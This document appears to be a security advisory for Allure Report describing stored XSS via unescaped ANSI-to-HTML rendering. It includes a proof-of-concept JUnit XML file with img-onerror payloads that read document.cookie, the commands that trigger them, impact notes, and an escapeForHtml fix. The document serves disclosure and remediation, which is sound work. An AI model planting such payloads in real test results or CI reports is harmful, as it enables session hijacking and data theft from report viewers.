Allure Report: Stored XSS via unescaped ANSI helper in status message/trace rendering

const safeText = escapeExpression(text);
return new SafeString(`<a href="${safeText}" ...>${safeText}</a>`);

PoC

1. Create a malicious JUnit XML test result file:

<?xml version="1.0" encoding="UTF-8"?>
<testsuite name="XSSTest" tests="1" failures="1">
  <testcase name="xssPayload" classname="com.example.Test">
    <failure message="&lt;img src=x onerror=alert(document.cookie)&gt;">
      Stack trace: &lt;img src=x onerror=alert('statusTrace_XSS')&gt;
    </failure>
  </testcase>
</testsuite>

2. Generate an Allure report:

allure generate /path/to/results-with-malicious-xml -o /tmp/allure-report

3. Open the report and navigate to the failed test case:

allure open /tmp/allure-report

4. When viewing the test's status details, the <img onerror> payloads execute JavaScript in the viewer's browser.

Impact

• Arbitrary JavaScript execution in the browser of anyone viewing the generated Allure report
• Cookie theft, session hijacking if the report is served from a domain with active sessions (e.g., CI dashboards)
• Data exfiltration — the injected script can read the full report content and send it to an attacker-controlled server
• Attack vectors: A malicious dependency that throws crafted exception messages, a CI pipeline processing test results from untrusted pull requests, or a contributor submitting test files containing XSS payloads
• Allure reports are commonly hosted on CI/CD platforms (Jenkins, GitLab, GitHub Actions artifacts) where session cookies may be present

Recommended Fix

Configure AnsiToHtml with escapeForHtml: true to escape HTML entities while preserving ANSI-to-HTML conversion:

import AnsiToHtml from "ansi-to-html";
import {SafeString} from "handlebars/runtime";

const ansiConverter = new AnsiToHtml({
    fg: "black",
    bg: "black",
    newline: true,
    escapeForHtml: true,  // Escape HTML entities in non-ANSI input
});

export default function (input) {
    return new SafeString(ansiConverter.toHtml(input));
};

This is the correct approach because it preserves the ANSI escape sequence → HTML conversion (colored output) while ensuring that any non-ANSI HTML in the input is safely escaped. The alternative of using escapeExpression() on the input would destroy ANSI sequences before they could be converted.